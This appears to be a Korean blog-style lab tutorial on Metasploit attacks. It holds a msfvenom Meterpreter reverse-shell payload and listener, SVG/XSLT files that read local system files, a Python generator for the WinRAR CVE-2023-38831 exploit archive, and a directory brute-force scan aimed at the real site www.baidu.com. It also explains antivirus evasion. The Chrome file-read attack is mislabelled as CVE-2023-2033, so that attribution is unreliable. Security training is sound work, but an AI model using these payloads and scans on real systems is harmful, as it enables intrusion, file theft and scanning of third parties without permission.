Metasploit 공격 및 방어 기법 실습: 최신 취약점 활용 사례

실습 목표 개요

본 실습은 Metasploit Framework(MSF)의 기본 사용법을 익히고, 세 가지 주요 공격 유형 — 능동적 공격, 브라우저 기반 공격, 클라이언트 소프트웨어 공격 — 의 원리를 이해하는 것을 목표로 한다. 또한 보조 모듈 활용 능력을 검증하며, 각 단계에서 최신 알려진 취약점을 반영한 실습을 수행한다.

1. 능동적 공격 실습 (최신 취약점 기반)

먼저, MSF를 이용해 리버스 쉘 페이로드를 생성하고, 대상 시스템에 전달하여 제어권을 확보하는 과정을 진행한다. 다음 절차를 따른다:

  1. msfvenom을 사용하여 Windows용 바이너리 페이로드 생성:
  2. msfvenom -p windows/meterpreter/reverse_tcp LHOST=[공격자IP] LPORT=4444 -f exe > shell.exe
  3. Socat 또는 Python HTTP 서버를 통해 shell.exe를 윈도우즈 머신으로 전송.
  4. 윈도우즈 방화벽 및 백신(화용 등)에서 신뢰 영역으로 파일 등록 후 실행.
  5. Ubuntu 측에서 msfconsole 구동 후 리스너 설정:
  6. use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST [공격자IP]
    set LPORT 4444
    exploit
  7. 성공 시 Meterpreter 세션이 열리며 원격 시스템에 접근 가능.

2. 브라우저 기반 공격: Chrome XXE 취약점 재현 (CVE-2023-2033)

Google Chrome 116.0.5845.96 이전 버전에서 발생하는 XML External Entity(XEE) 취약점을 이용한 파일 읽기 공격이다. XSLT 처리 시 document() 함수가 로컬 파일을 불러올 수 있는 문제를 악용한다.

공격 준비

2.svg 파일 작성:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <svg xmlns="http://www.w3.org/2000/svg">
      <foreignObject width="800" height="600">
        <div xmlns="http://www.w3.org/1999/xhtml">
          <p>XSL 버전: <xsl:value-of select="system-property('xsl:version')"/></p>
          <p>시스템 정보:</p>
          <xsl:copy-of select="document('3.xsl')"/>
        </div>
      </foreignObject>
    </svg>
  </xsl:template>
</xsl:stylesheet>

3.xsl 파일 작성 (실제 외부 엔티티 포함):

<?xml version="1.0" ?>
<!DOCTYPE div [
  <!ENTITY hosts SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
  <!ENTITY passwd SYSTEM "file:///etc/passwd">
  <!ENTITY sysini SYSTEM "file:///C:/Windows/system.ini">
]>
<div>
  <p>Hosts: &hosts;</p>
  <p>Passwd: &passwd;</p>
  <p>System.ini: &sysini;</p>
</div>

실행

Python 내장 서버로 호스팅:

python -m http.server 1234

브라우저에서 http://localhost:1234/2.svg 접속 시, SVG가 XSLT를 해석하면서 지정된 로컬 파일들이 함께 출력된다.

3. 클라이언트 공격: WinRAR 원격 코드 실행 취약점 (CVE-2023-38831)

WinRAR 6.23 미만 버전에서 ZIP 아카이브 내 파일 이름 조작을 통해 자동 스크립트 실행을 유도하는 취약점이다. 폴더와 파일의 이름 충돌을 이용해 cmd 스크립트를 트리거한다.

공격 파일 생성 절차

  1. 유인용 텍스트 파일 생성:
  2. echo This is a normal file > bait.txt
  3. 같은 이름의 디렉터리 생성:
  4. mkdir bait.txt
  5. 디렉터리 내에 실행 스크립트 배치 (bait.txt.bat):
  6. echo calc.exe > bait.txt\bait.txt.bat
  7. 두 항목을 하나의 RAR 압축 파일로 묶음.

자동화 파이썬 스크립트

아래 스크립트는 위 과정을 자동으로 수행하며, ZIP 형식으로 저장 후 확장자를 RAR로 변경해 공격 파일을 생성한다.

import os
import shutil
import zipfile

def create_exploit(bait_file="bait.txt", script_name="payload.bat", output="exploit.rar"):
    # 임시 디렉터리 생성
    temp_dir = "malzip"
    if os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
    os.makedirs(temp_dir)

    # 더미 파일 복사
    with open(bait_file, 'w') as f:
        f.write("Innocent text file")
    shutil.copy(bait_file, os.path.join(temp_dir, bait_file + "B"))

    # 폴더 및 스크립트 생성
    folder_path = os.path.join(temp_dir, bait_file + "A")
    os.makedirs(folder_path)
    with open(os.path.join(folder_path, bait_file + "A.bat"), 'w') as f:
        f.write("@echo off\nstart calc.exe")

    # ZIP 생성
    zip_path = temp_dir + ".zip"
    shutil.make_archive(temp_dir, 'zip', temp_dir)

    # ZIP 바이너리 수정: A/B → 공백으로 치환
    with open(zip_path, 'rb') as f:
        data = f.read()
    
    ext = os.path.splitext(bait_file)[1].encode()
    data = data.replace(ext + b"A", ext + b" ")
    data = data.replace(ext + b"B", ext + b" ")

    with open(output, 'wb') as f:
        f.write(data)

    print(f"[+] Exploit created: {output}")

if __name__ == "__main__":
    create_exploit()

대상이 압축 파일을 열고 내부 파일을 더블클릭하면 calc.exe 실행됨.

4. 보조 모듈 활용: 디렉터리 브루트포스 스캐닝

Metasploit의 auxiliary 모듈을 사용해 웹 서버의 숨겨진 경로를 탐지한다.

msfconsole
use auxiliary/scanner/http/brute_dirs
set RHOSTS www.baidu.com
set THREADS 20
run

결과 예시:

  • http://www.baidu.com/p/
  • http://www.baidu.com/v/
  • http://www.baidu.com/bh/

이러한 경로는 추가적인 취약점 분석 대상이 될 수 있음.

핵심 개념 설명

Exploit (익스플로잇)

소프트웨어의 보안 결함을 이용해 예기치 않은 동작을 유도하는 기술적 수단이다. 예를 들어, 버퍼 오버플로우나 인증 우회와 같은 결함을 활용해 시스템 제어권을 확보한다.

Payload (페이로드)

익스플로잇 성공 후 대상 시스템에서 실행되는 코드 조각이다. 쉘 접속 확보, 데이터 수집, 백도어 설치 등을 수행하며, 메타스플로잇에서는 Meterpreter와 같은 고급 페이로드를 제공한다.

Encode (인코딩)

악성 페이로드를 탐지 회피를 위해 변형하는 과정이다. 인코더(예: shikata_ga_nai)를 사용해 바이너리 패턴을 변경함으로써 안티바이러스 소프트웨어의 탐지를 피할 수 있다.

태그: Metasploit CVE-2023-2033 CVE-2023-38831 XXE rce

6월 1일 22:41에 게시됨